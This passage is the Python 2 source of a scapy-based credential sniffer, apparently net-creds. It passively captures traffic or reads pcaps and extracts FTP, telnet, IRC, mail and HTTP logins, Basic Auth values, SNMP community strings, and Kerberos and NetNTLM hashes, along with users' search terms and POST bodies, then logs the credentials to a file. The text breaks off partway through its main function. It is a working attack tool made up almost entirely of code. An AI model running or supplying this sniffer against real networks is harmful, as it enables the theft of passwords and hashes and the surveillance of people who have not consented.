#!/usr/bin/env python2

from os import geteuid, devnull
import logging
# shut up scapy
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
from sys import exit
import binascii
import struct
import argparse
import signal
import base64
from urllib import unquote
from subprocess import Popen, PIPE
from collections import OrderedDict
from BaseHTTPServer import BaseHTTPRequestHandler
from StringIO import StringIO
from urllib import unquote
import binascii
# Debug
#from IPython import embed

##########################
# Potention ToDo:
# MySQL seed:hash
# VNC
# Oracle?
# Add file carving from dissectors.py
#########################

# Unintentional code contributors:
#     Laurent Gaffie
#     psychomario

logging.basicConfig(filename='credentials.txt',level=logging.INFO)
DN = open(devnull, 'w')
pkt_frag_loads = OrderedDict()
challenge_acks = OrderedDict()
mail_auths = OrderedDict()
telnet_stream = OrderedDict()

# Regexs
authenticate_re = '(www-|proxy-)?authenticate'
authorization_re = '(www-|proxy-)?authorization'
ftp_user_re = r'USER (.+)\r\n'
ftp_pw_re = r'PASS (.+)\r\n'
irc_user_re = r'NICK (.+?)((\r)?\n|\s)'
irc_pw_re = r'NS IDENTIFY (.+)'
irc_pw_re2 = 'nickserv :identify (.+)'
mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)'
mail_auth_re1 =  '(\d+ )?login '
NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+'
NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+'
# Prone to false+ but prefer that to false-
http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))'

#Console colors
W = '\033[0m'  # white (normal)
T = '\033[93m'  # tan

def parse_args():
   """Create the arguments"""
   parser = argparse.ArgumentParser()
   parser.add_argument("-i", "--interface", help="Choose an interface")
   parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p <pcapfilename>")
   parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4")
   parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true")
   return parser.parse_args()

def iface_finder():
    try:
        ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
        for line in ipr.communicate()[0].splitlines():
            if 'default' in line:
                l = line.split()
                iface = l[4]
                return iface
    except IOError:
        exit('[-] Could not find an internet active interface; please specify one with -i <interface>')

def frag_remover(ack, load):
    '''
    Keep the FILO OrderedDict of frag loads from getting too large
    3 points of limit:
        Number of ip_ports < 50
        Number of acks per ip:port < 25
        Number of chars in load < 5000
    '''
    global pkt_frag_loads

    # Keep the number of IP:port mappings below 50
    # last=False pops the oldest item rather than the latest
    while len(pkt_frag_loads) > 50:
        pkt_frag_loads.popitem(last=False)

    # Loop through a deep copy dict but modify the original dict
    copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
    for ip_port in copy_pkt_frag_loads:
        if len(copy_pkt_frag_loads[ip_port]) > 0:
            # Keep 25 ack:load's per ip:port
            while len(copy_pkt_frag_loads[ip_port]) > 25:
                pkt_frag_loads[ip_port].popitem(last=False)

    # Recopy the new dict to prevent KeyErrors for modifying dict in loop
    copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
    for ip_port in copy_pkt_frag_loads:
        # Keep the load less than 75,000 chars
        for ack in copy_pkt_frag_loads[ip_port]:
            # If load > 5000 chars, just keep the last 200 chars
            if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:
                pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]

def frag_joiner(ack, src_ip_port, load):
    '''
    Keep a store of previous fragments in an OrderedDict named pkt_frag_loads
    '''
    for ip_port in pkt_frag_loads:
        if src_ip_port == ip_port:
            if ack in pkt_frag_loads[src_ip_port]:
                # Make pkt_frag_loads[src_ip_port][ack] = full load
                old_load = pkt_frag_loads[src_ip_port][ack]
                concat_load = old_load + load
                return OrderedDict([(ack, concat_load)])

    return OrderedDict([(ack, load)])

def pkt_parser(pkt):
    '''
    Start parsing packets here
    '''
    global pkt_frag_loads, mail_auths

    if pkt.haslayer(Raw):
        load = pkt[Raw].load

    # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control
    if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):
        return

    # UDP
    if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw):

        src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport)
        dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport)

        # SNMP community strings
        if pkt.haslayer(SNMP):
            parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP])
            return

        # Kerberos over UDP
        decoded = Decode_Ip_Packet(str(pkt)[14:])
        kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:])
        if kerb_hash:
            printer(src_ip_port, dst_ip_port, kerb_hash)

    # TCP
    elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):

        ack = str(pkt[TCP].ack)
        seq = str(pkt[TCP].seq)
        src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport)
        dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport)
        frag_remover(ack, load)
        pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load)
        full_load = pkt_frag_loads[src_ip_port][ack]

        # Limit the packets we regex to increase efficiency
        # 750 is a bit arbitrary but some SMTP auth success pkts
        # are 500+ characters
        if 0 < len(full_load) < 750:

            # FTP
            ftp_creds = parse_ftp(full_load, dst_ip_port)
            if len(ftp_creds) > 0:
                for msg in ftp_creds:
                    printer(src_ip_port, dst_ip_port, msg)
                return

            # Mail
            mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq)

            # IRC
            irc_creds = irc_logins(full_load, pkt)
            if irc_creds != None:
                printer(src_ip_port, dst_ip_port, irc_creds)
                return

            # Telnet
            telnet_logins(src_ip_port, dst_ip_port, load, ack, seq)

        # HTTP and other protocols that run on TCP + a raw load
        other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, parse_args().verbose)

def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq):
    '''
    Catch telnet logins and passwords
    '''
    global telnet_stream

    msg = None

    if src_ip_port in telnet_stream:
        # Do a utf decode in case the client sends telnet options before their username
        # No one would care to see that
        try:
            telnet_stream[src_ip_port] += load.decode('utf8')
        except UnicodeDecodeError:
            pass

        # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed
        if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]:
            telnet_split = telnet_stream[src_ip_port].split(' ', 1)
            cred_type = telnet_split[0]
            value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '')
            # Create msg, the return variable
            msg = 'Telnet %s: %s' % (cred_type, value)
            printer(src_ip_port, dst_ip_port, msg)
            del telnet_stream[src_ip_port]

    # This part relies on the telnet packet ending in
    # "login:", "password:", or "username:" and being <750 chars
    # Haven't seen any false+ but this is pretty general
    # might catch some eventually
    # maybe use dissector.py telnet lib?
    if len(telnet_stream) > 100:
        telnet_stream.popitem(last=False)
    mod_load = load.lower().strip()
    if mod_load.endswith('username:') or mod_load.endswith('login:'):
        telnet_stream[dst_ip_port] = 'username '
    elif mod_load.endswith('password:'):
        telnet_stream[dst_ip_port] = 'password '

def ParseMSKerbv5TCP(Data):
    '''
    Taken from Pcredz because I didn't want to spend the time doing this myself
    I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel?
    Maybe replace this eventually with the kerberos python lib
    Parses Kerberosv5 hashes from packets
    '''
    try:
        MsgType = Data[21:22]
        EncType = Data[43:44]
        MessageType = Data[32:33]
    except IndexError:
        return

    if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
        if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
            HashLen = struct.unpack('<b',Data[50:51])[0]
            if HashLen == 54:
                Hash = Data[53:105]
                SwitchHash = Hash[16:]+Hash[0:16]
                NameLen = struct.unpack('<b',Data[153:154])[0]
                Name = Data[154:154+NameLen]
                DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
                Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
                BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                return 'MS Kerberos: %s' % BuildHash

        if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
            HashLen = struct.unpack('<b',Data[47:48])[0]
            Hash = Data[48:48+HashLen]
            SwitchHash = Hash[16:]+Hash[0:16]
            NameLen = struct.unpack('<b',Data[HashLen+96:HashLen+96+1])[0]
            Name = Data[HashLen+97:HashLen+97+NameLen]
            DomainLen = struct.unpack('<b',Data[HashLen+97+NameLen+3:HashLen+97+NameLen+4])[0]
            Domain = Data[HashLen+97+NameLen+4:HashLen+97+NameLen+4+DomainLen]
            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
            return 'MS Kerberos: %s' % BuildHash

        else:
            Hash = Data[48:100]
            SwitchHash = Hash[16:]+Hash[0:16]
            NameLen = struct.unpack('<b',Data[148:149])[0]
            Name = Data[149:149+NameLen]
            DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
            Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
            BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
            return 'MS Kerberos: %s' % BuildHash

def ParseMSKerbv5UDP(Data):
    '''
    Taken from Pcredz because I didn't want to spend the time doing this myself
    I should probably figure this out on my own but hey, time isn't free why reinvent the wheel?
    Maybe replace this eventually with the kerberos python lib
    Parses Kerberosv5 hashes from packets
    '''

    try:
        MsgType = Data[17:18]
        EncType = Data[39:40]
    except IndexError:
        return

    if MsgType == "\x0a" and EncType == "\x17":
        try:
            if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
                HashLen = struct.unpack('<b',Data[41:42])[0]
                if HashLen == 54:
                    Hash = Data[44:96]
                    SwitchHash = Hash[16:]+Hash[0:16]
                    NameLen = struct.unpack('<b',Data[144:145])[0]
                    Name = Data[145:145+NameLen]
                    DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
                    Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
                    BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                    return 'MS Kerberos: %s' % BuildHash

                if HashLen == 53:
                    Hash = Data[44:95]
                    SwitchHash = Hash[16:]+Hash[0:16]
                    NameLen = struct.unpack('<b',Data[143:144])[0]
                    Name = Data[144:144+NameLen]
                    DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
                    Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
                    BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                    return 'MS Kerberos: %s' % BuildHash

            else:
                HashLen = struct.unpack('<b',Data[48:49])[0]
                Hash = Data[49:49+HashLen]
                SwitchHash = Hash[16:]+Hash[0:16]
                NameLen = struct.unpack('<b',Data[HashLen+97:HashLen+97+1])[0]
                Name = Data[HashLen+98:HashLen+98+NameLen]
                DomainLen = struct.unpack('<b',Data[HashLen+98+NameLen+3:HashLen+98+NameLen+4])[0]
                Domain = Data[HashLen+98+NameLen+4:HashLen+98+NameLen+4+DomainLen]
                BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
                return 'MS Kerberos: %s' % BuildHash
        except struct.error:
            return

def Decode_Ip_Packet(s):
    '''
    Taken from PCredz, solely to get Kerb parsing
    working until I have time to analyze Kerb pkts
    and figure out a simpler way
    Maybe use kerberos python lib
    '''
    d={}
    d['header_len']=ord(s[0]) & 0x0f
    d['data']=s[4*d['header_len']:]
    return d

def double_line_checker(full_load, count_str):
    '''
    Check if count_str shows up twice
    '''
    num = full_load.lower().count(count_str)
    if num > 1:
        lines = full_load.count('\r\n')
        if lines > 1:
            full_load = full_load.split('\r\n')[-2] # -1 is ''
    return full_load

def parse_ftp(full_load, dst_ip_port):
    '''
    Parse out FTP creds
    '''
    print_strs = []

    # Sometimes FTP packets double up on the authentication lines
    # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n"
    full_load = double_line_checker(full_load, 'USER')

    # FTP and POP potentially use idential client > server auth pkts
    ftp_user = re.match(ftp_user_re, full_load)
    ftp_pass = re.match(ftp_pw_re, full_load)

    if ftp_user:
        msg1 = 'FTP User: %s' % ftp_user.group(1).strip()
        print_strs.append(msg1)
        if dst_ip_port[-3:] != ':21':
            msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
            print_strs.append(msg2)

    elif ftp_pass:
        msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip()
        print_strs.append(msg1)
        if dst_ip_port[-3:] != ':21':
            msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
            print_strs.append(msg2)

    return print_strs

def mail_decode(src_ip_port, dst_ip_port, mail_creds):
    '''
    Decode base64 mail creds
    '''
    try:
        decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8')
        decoded = decoded.replace('\x00', ' ')
    except TypeError:
        decoded = None
    except UnicodeDecodeError as e:
        decoded = None

    if decoded != None:
        msg = 'Decoded: %s' % decoded
        printer(src_ip_port, dst_ip_port, msg)

def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq):
    '''
    Catch IMAP, POP, and SMTP logins
    '''
    # Handle the first packet of mail authentication
    # if the creds aren't in the first packet, save it in mail_auths

    # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...]
    global mail_auths
    found = False

    # Sometimes mail packets double up on the authentication lines
    # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n"
    full_load = double_line_checker(full_load, 'auth')

    # Client to server 2nd+ pkt
    if src_ip_port in mail_auths:
        if seq in mail_auths[src_ip_port][-1]:
            stripped = full_load.strip('\r\n')
            try:
                decoded = base64.b64decode(stripped)
                msg = 'Mail authentication: %s' % decoded
                printer(src_ip_port, dst_ip_port, msg)
            except TypeError:
                pass
            mail_auths[src_ip_port].append(ack)

    # Server responses to client
    # seq always = last ack of tcp stream
    elif dst_ip_port in mail_auths:
        if seq in mail_auths[dst_ip_port][-1]:
            # Look for any kind of auth failure or success
            a_s = 'Authentication successful'
            a_f = 'Authentication failed'
            # SMTP auth was successful
            if full_load.startswith('235') and 'auth' in full_load.lower():
                # Reversed the dst and src
                printer(dst_ip_port, src_ip_port, a_s)
                found = True
                try:
                    del mail_auths[dst_ip_port]
                except KeyError:
                    pass
            # SMTP failed
            elif full_load.startswith('535 '):
                # Reversed the dst and src
                printer(dst_ip_port, src_ip_port, a_f)
                found = True
                try:
                    del mail_auths[dst_ip_port]
                except KeyError:
                    pass
            # IMAP/POP/SMTP failed
            elif ' fail' in full_load.lower():
                # Reversed the dst and src
                printer(dst_ip_port, src_ip_port, a_f)
                found = True
                try:
                    del mail_auths[dst_ip_port]
                except KeyError:
                    pass
            # IMAP auth success
            elif ' OK [' in full_load:
                # Reversed the dst and src
                printer(dst_ip_port, src_ip_port, a_s)
                found = True
                try:
                    del mail_auths[dst_ip_port]
                except KeyError:
                    pass

            # Pkt was not an auth pass/fail so its just a normal server ack
            # that it got the client's first auth pkt
            else:
                if len(mail_auths) > 100:
                    mail_auths.popitem(last=False)
                mail_auths[dst_ip_port].append(ack)

    # Client to server but it's a new TCP seq
    # This handles most POP/IMAP/SMTP logins but there's at least one edge case
    else:
        mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE)
        if mail_auth_search != None:
            auth_msg = full_load
            # IMAP uses the number at the beginning
            if mail_auth_search.group(1) != None:
                auth_msg = auth_msg.split()[1:]
            else:
                auth_msg = auth_msg.split()
            # Check if its a pkt like AUTH PLAIN dvcmQxIQ==
            # rather than just an AUTH PLAIN
            if len(auth_msg) > 2:
                mail_creds = ' '.join(auth_msg[2:])
                msg = 'Mail authentication: %s' % mail_creds
                printer(src_ip_port, dst_ip_port, msg)

                mail_decode(src_ip_port, dst_ip_port, mail_creds)
                try:
                    del mail_auths[src_ip_port]
                except KeyError:
                    pass
                found = True

            # Mail auth regex was found and src_ip_port is not in mail_auths
            # Pkt was just the initial auth cmd, next pkt from client will hold creds
            if len(mail_auths) > 100:
                mail_auths.popitem(last=False)
            mail_auths[src_ip_port] = [ack]

        # At least 1 mail login style doesn't fit in the original regex:
        #     1 login "username" "password"
        # This also catches FTP authentication!
        #     230 Login successful.
        elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None:

            # FTP authentication failures trigger this
            #if full_load.lower().startswith('530 login'):
            #    return

            auth_msg = full_load
            auth_msg = auth_msg.split()
            if 2 < len(auth_msg) < 5:
                mail_creds = ' '.join(auth_msg[2:])
                msg = 'Authentication: %s' % mail_creds
                printer(src_ip_port, dst_ip_port, msg)
                mail_decode(src_ip_port, dst_ip_port, mail_creds)
                found = True

    if found == True:
        return True

def irc_logins(full_load, pkt):
    '''
    Find IRC logins
    '''
    user_search = re.match(irc_user_re, full_load)
    pass_search = re.match(irc_pw_re, full_load)
    pass_search2 = re.search(irc_pw_re2, full_load.lower())
    if user_search:
        msg = 'IRC nick: %s' % user_search.group(1)
        return msg
    if pass_search:
        msg = 'IRC pass: %s' % pass_search.group(1)
        return msg
    if pass_search2:
        msg = 'IRC pass: %s' % pass_search2.group(1)
        return msg

def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose):
    '''
    Pull out pertinent info from the parsed HTTP packet data
    '''
    user_passwd = None
    http_url_req = None
    method = None
    http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD ']
    http_line, header_lines, body = parse_http_load(full_load, http_methods)
    headers = headers_to_dict(header_lines)
    if 'host' in headers:
        host = headers['host']
    else:
        host = ''

    if http_line != None:
        method, path = parse_http_line(http_line, http_methods)
        http_url_req = get_http_url(method, host, path, headers)
        if http_url_req != None:
            if verbose == False:
                if len(http_url_req) > 98:
                    http_url_req = http_url_req[:99] + '...'
            printer(src_ip_port, None, http_url_req)

    # Print search terms
    searched = get_http_searches(http_url_req, body, host)
    if searched:
        printer(src_ip_port, dst_ip_port, searched)

    # Print user/pwds
    if body != '':
        user_passwd = get_login_pass(body)
        if user_passwd != None:
            try:
                http_user = user_passwd[0].decode('utf8')
                http_pass = user_passwd[1].decode('utf8')
                # Set a limit on how long they can be prevent false+
                if len(http_user) > 75 or len(http_pass) > 75:
                    return
                user_msg = 'HTTP username: %s' % http_user
                printer(src_ip_port, dst_ip_port, user_msg)
                pass_msg = 'HTTP password: %s' % http_pass
                printer(src_ip_port, dst_ip_port, pass_msg)
            except UnicodeDecodeError:
                pass

    # Print POST loads
    # ocsp is a common SSL post load that's never interesting
    if method == 'POST' and 'ocsp.' not in host:
        try:
            if verbose == False and len(body) > 99:
                # If it can't decode to utf8 we're probably not interested in it
                msg = 'POST load: %s...' % body[:99].encode('utf8')
            else:
                msg = 'POST load: %s' % body.encode('utf8')
            printer(src_ip_port, None, msg)
        except UnicodeDecodeError:
            pass

    # Kerberos over TCP
    decoded = Decode_Ip_Packet(str(pkt)[14:])
    kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:])
    if kerb_hash:
        printer(src_ip_port, dst_ip_port, kerb_hash)

    # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL)
    NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL)
    NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL)
    if NTLMSSP2:
        parse_ntlm_chal(NTLMSSP2.group(), ack)
    if NTLMSSP3:
        ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq)
        if ntlm_resp_found != None:
            printer(src_ip_port, dst_ip_port, ntlm_resp_found)

    # Look for authentication headers
    if len(headers) == 0:
        authenticate_header = None
        authorization_header = None
    for header in headers:
        authenticate_header = re.match(authenticate_re, header)
        authorization_header = re.match(authorization_re, header)
        if authenticate_header or authorization_header:
            break

    if authorization_header or authenticate_header:
        # NETNTLM
        netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq)
        if netntlm_found != None:
            printer(src_ip_port, dst_ip_port, netntlm_found)

        # Basic Auth
        parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header)

def get_http_searches(http_url_req, body, host):
    '''
    Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
    search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command
    '''
    false_pos = ['i.stack.imgur.com']

    searched = None
    if http_url_req != None:
        searched = re.search(http_search_re, http_url_req, re.IGNORECASE)
        if searched == None:
            searched = re.search(http_search_re, body, re.IGNORECASE)

    if searched != None and host not in false_pos:
        searched = searched.group(3)
        # Eliminate some false+
        try:
            # if it doesn't decode to utf8 it's probably not user input
            searched = searched.decode('utf8')
        except UnicodeDecodeError:
            return
        # some add sites trigger this function with single digits
        if searched in [str(num) for num in range(0,10)]:
            return
        # nobody's making >100 character searches
        if len(searched) > 100:
            return
        msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' '))
        return msg

def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header):
    '''
    Parse basic authentication over HTTP
    '''
    if authorization_header:
        # authorization_header sometimes is triggered by failed ftp
        try:
            header_val = headers[authorization_header.group()]
        except KeyError:
            return
        b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE)
        if b64_auth_re != None:
            basic_auth_b64 = b64_auth_re.group(1)
            basic_auth_creds = base64.decodestring(basic_auth_b64)
            msg = 'Basic Authentication: %s' % basic_auth_creds
            printer(src_ip_port, dst_ip_port, msg)

def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq):
    '''
    Parse NTLM hashes out
    '''
    # Type 2 challenge from server
    if authenticate_header != None:
        chal_header = authenticate_header.group()
        parse_netntlm_chal(headers, chal_header, ack)

    # Type 3 response from client
    elif authorization_header != None:
        resp_header = authorization_header.group()
        msg = parse_netntlm_resp_msg(headers, resp_header, seq)
        if msg != None:
            return msg

def parse_snmp(src_ip_port, dst_ip_port, snmp_layer):
    '''
    Parse out the SNMP version and community string
    '''
    if type(snmp_layer.community.val) == str:
        ver = snmp_layer.version.val
        msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val)
        printer(src_ip_port, dst_ip_port, msg)
    return True

def get_http_url(method, host, path, headers):
    '''
    Get the HTTP method + URL from requests
    '''
    if method != None and path != None:

        # Make sure the path doesn't repeat the host header
        if host != '' and not re.match('(http(s)?://)?'+host, path):
            http_url_req = method + ' ' + host + path
        else:
            http_url_req = method + ' ' + path

        http_url_req = url_filter(http_url_req)

        return http_url_req

def headers_to_dict(header_lines):
    '''
    Convert the list of header lines into a dictionary
    '''
    headers = {}
    # Incomprehensible list comprehension flattens list of headers
    # that are each split at ': '
    # http://stackoverflow.com/a/406296
    headers_list = [x for line in header_lines for x in line.split(': ', 1)]
    headers_dict = dict(zip(headers_list[0::2], headers_list[1::2]))
    # Make the header key (like "Content-Length") lowercase
    for header in headers_dict:
        headers[header.lower()] = headers_dict[header]

    return headers

def parse_http_line(http_line, http_methods):
    '''
    Parse the header with the HTTP method in it
    '''
    http_line_split = http_line.split()
    method = ''
    path = ''

    # Accounts for pcap files that might start with a fragment
    # so the first line might be just text data
    if len(http_line_split) > 1:
        method = http_line_split[0]
        path = http_line_split[1]

    # This check exists because responses are much different than requests e.g.:
    #     HTTP/1.1 407 Proxy Authentication Required ( Access is denied.  )
    # Add a space to method because there's a space in http_methods items
    # to avoid false+
    if method+' ' not in http_methods:
        method = None
        path = None

    return method, path

def parse_http_load(full_load, http_methods):
    '''
    Split the raw load into list of headers and body string
    '''
    try:
        headers, body = full_load.split("\r\n\r\n", 1)
    except ValueError:
        headers = full_load
        body = ''
    header_lines = headers.split("\r\n")

    # Pkts may just contain hex data and no headers in which case we'll
    # still want to parse them for usernames and password
    http_line = get_http_line(header_lines, http_methods)
    if not http_line:
        headers = ''
        body = full_load

    header_lines = [line for line in header_lines if line != http_line]

    return http_line, header_lines, body

def get_http_line(header_lines, http_methods):
    '''
    Get the header with the http command
    '''
    for header in header_lines:
        for method in http_methods:
            # / is the only char I can think of that's in every http_line
            # Shortest valid: "GET /", add check for "/"?
            if header.startswith(method):
                http_line = header
                return http_line

def parse_netntlm_chal(headers, chal_header, ack):
    '''
    Parse the netntlm server challenge
    https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py
    '''
    try:
        header_val2 = headers[chal_header]
    except KeyError:
        return
    header_val2 = header_val2.split(' ', 1)
    # The header value can either start with NTLM or Negotiate
    if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate':
        msg2 = header_val2[1]
        msg2 = base64.decodestring(msg2)
        parse_ntlm_chal(ack, msg2)

def parse_ntlm_chal(msg2, ack):
    '''
    Parse server challenge
    '''
    global challenge_acks

    Signature = msg2[0:8]
    msg_type = struct.unpack("<I",msg2[8:12])[0]
    assert(msg_type==2)
    ServerChallenge = msg2[24:32].encode('hex')

    # Keep the dict of ack:challenge to less than 50 chals
    if len(challenge_acks) > 50:
        challenge_acks.popitem(last=False)
    challenge_acks[ack] = ServerChallenge

def parse_netntlm_resp_msg(headers, resp_header, seq):
    '''
    Parse the client response to the challenge
    '''
    try:
        header_val3 = headers[resp_header]
    except KeyError:
        return
    header_val3 = header_val3.split(' ', 1)

    # The header value can either start with NTLM or Negotiate
    if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate':
        try:
            msg3 = base64.decodestring(header_val3[1])
        except binascii.Error:
            return
        return parse_ntlm_resp(msg3, seq)

def parse_ntlm_resp(msg3, seq):
    '''
    Parse the 3rd msg in NTLM handshake
    Thanks to psychomario
    '''

    if seq in challenge_acks:
        challenge = challenge_acks[seq]
    else:
        challenge = 'CHALLENGE NOT FOUND'

    if len(msg3) > 43:
        # Thx to psychomario for below
        lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44])
        lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen])
        nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen])
        domain = msg3[domoff:domoff+domlen].replace("\0", "")
        user = msg3[useroff:useroff+userlen].replace("\0", "")
        # Original check by psychomario, might be incorrect?
        #if lmhash != "0"*48: #NTLMv1
        if ntlen == 24: #NTLMv1
            msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge)
            return msg
        elif ntlen > 60: #NTLMv2
            msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:])
            return msg

def url_filter(http_url_req):
    '''
    Filter out the common but uninteresting URLs
    '''
    if http_url_req:
        d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
        if any(http_url_req.endswith(i) for i in d):
            return

    return http_url_req

def get_login_pass(body):
    '''
    Regex out logins and passwords from a string
    '''
    user = None
    passwd = None

    # Taken mainly from Pcredz by Laurent Gaffie
    userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
                  'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
                  'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
                  'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
                  'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in']
    passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', 
                  'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
                  'passwort', 'passwrd', 'wppassword', 'upasswd']

    for login in userfields:
        login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
        if login_re:
            user = login_re.group()
    for passfield in passfields:
        pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
        if pass_re:
            passwd = pass_re.group()

    if user and passwd:
        return (user, passwd)

def printer(src_ip_port, dst_ip_port, msg):
    if dst_ip_port != None:
        print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W)
        # All credentials will have dst_ip_port, URLs will not

        # Prevent identical outputs unless it's an HTTP search or POST load
        skip = ['Searched ', 'POST load:']
        for s in skip:
            if s not in msg:
                if os.path.isfile('credentials.txt'):
                    with open('credentials.txt', 'r') as log:
                        contents = log.read()
                        if msg in contents:
                            return

        print print_str

        # Escape colors like whatweb has
        ansi_escape = re.compile(r'\x1b[^m]*m')
        print_str = ansi_escape.sub('', print_str)

        # Log the creds
        logging.info(print_str)
    else:
        print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg)
        print print_str

def main(args):
    ##################### DEBUG ##########################
    ## Hit Ctrl-C while program is running and you can see
    ## whatever variable you want within the IPython cli
    ## Don't forget to uncomment IPython in imports
    #def signal_handler(signal, frame):
    #    embed()
    ##    sniff(iface=conf.iface, prn=pkt_parser, store=0)
    #    sys.exit()
    #signal.signal(signal.SIGINT, signal_handler)
    ######################################################

    # Read packets from either pcap or interface
    if args.pcap:
        try:
            pcap = rdpcap(args.pcap)
        except Exception:
            exit('[-] Could not open %s' % args.pcap)
        for pkt in pcap:
